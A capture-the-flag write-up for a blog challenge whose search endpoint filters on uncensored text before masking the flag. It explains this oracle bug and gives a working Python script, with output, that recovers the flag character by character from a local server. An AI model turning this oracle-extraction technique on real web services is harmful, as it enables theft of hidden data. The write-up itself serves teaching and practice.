Overview
The challenge is a small blog (not unlike this site) whose third post contains the flag.
const posts = [
{
id: 1,
title: "Welcome to our blog!",
content: "This is our first post. Welcome everyone!",
author: "admin",
date: "2025-01-15"
},
{
id: 2,
title: "Tech Tips",
content: "Here are some useful technology tips for beginners. Always keep your software updated!",
author: "Some guy out there",
date: "2025-01-20"
},
{
id: 3,
title: "Not the flag?",
content: `Well luckily the content of the flag is hidden so here it is: ${FLAG}`,
author: "admin",
date: "2025-05-13"
},
...
];
The server censors the flag before returning a post, replacing it with asterisks.

Search Oracle
/api/search accepts a 3-character query. The bug is the order of operations: posts are filtered against the uncensored content, and only the matching results are censored afterward.
app.post('/api/search', (req, res) => {
const { query } = req.body;
if (!query || typeof query !== 'string' || query.length !== 3) {
return res.status(400).json({
error: 'Query must be 3 characters.',
});
}
const matchingPosts = posts
.filter(post =>
post.title.includes(query) ||
post.content.includes(query) ||
post.author.includes(query)
)
.map(post => ({
...post,
content: post.content.replace(FLAG, '*'.repeat(FLAG.length))
}));
res.json({
results: matchingPosts,
count: matchingPosts.length,
query: query
});
});
A query that matches part of the flag therefore still returns the “Not the flag?” post, with the flag masked. Searching for L3A, the start of the L3AK{ flag format, returns two posts, one of them censored.

This is a membership oracle: a 3-character string occurs in the flag post if and only if that post comes back. The mask also leaks the flag’s length, since '*'.repeat(FLAG.length) prints one asterisk per character: 17.
Extracting the Flag
Starting from the known prefix L3AK{, take the last two recovered characters, append each candidate from string.printable, and keep the one whose query returns the flag post. Repeat until all 17 characters are known.
import requests
import string
URL = "http://localhost:3000/api/search"
LENGTH = 17
flag = "L3AK{"
def search_query(query):
try:
response = requests.post(URL, json={"query": query})
if response.status_code == 200:
return response.json()
else:
print(f"Server returned status {response.status_code}: {response.text}")
except Exception as e:
print(f"Request failed: {e}")
return None
def check_in_flag_post(substring):
result = search_query(substring)
if result and result.get("results"):
for post in result["results"]:
if post.get("title") == "Not the flag?":
return True
return False
print("--- EXTRACTING FLAG ---")
while len(flag) < LENGTH:
print(f"\nCurrent flag: {flag} (length: {len(flag)} of {LENGTH})")
test = flag[-2:]
print(f"Testing {test} + ?")
for char in string.printable:
test_str = test + char
if check_in_flag_post(test_str):
print(f"Found valid char: {char}")
flag += char
break
print("\n--- FINAL RESULT ---")
print(f"Extracted flag: {flag}")
search_query POSTs a query to /api/search, and check_in_flag_post reports whether “Not the flag?” is among the results. The main loop slides the 3-character window forward one character at a time.
Because the oracle matches the whole post, a candidate trigram that also appears in the post’s surrounding text (“Well luckily the content of the flag…”) would produce a false positive. Every query here is anchored by two known flag characters, so it didn’t happen, but the output is worth sanity-checking.
--- EXTRACTING FLAG
---
Current flag: L3AK{ (length: 5 of 17)
Testing K{ + ?
Found valid char: t
Current flag: L3AK{t (length: 6 of 17)
Testing {t + ?
Found valid char: 3
...
Current flag: L3AK{t3mp_flag!! (length: 16 of 17)
Testing !! + ?
Found valid char: }
--- FINAL RESULT ---
Extracted flag: L3AK{t3mp_flag!!}